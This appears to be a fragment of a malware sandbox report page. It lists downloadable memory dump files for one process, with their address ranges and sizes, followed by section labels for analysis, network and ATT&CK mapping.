Download
memory/2044-72-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-61-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-74-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-76-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-77-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-78-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-75-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-60-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-59-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-58-0x000000007138D000-0x0000000071398000-memory.dmp

Filesize
44KB

Download
memory/2044-57-0x0000000075841000-0x0000000075843000-memory.dmp

Filesize
8KB

Download
memory/2044-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2044-55-0x00000000703A1000-0x00000000703A3000-memory.dmp

Filesize
8KB

Download
memory/2044-86-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads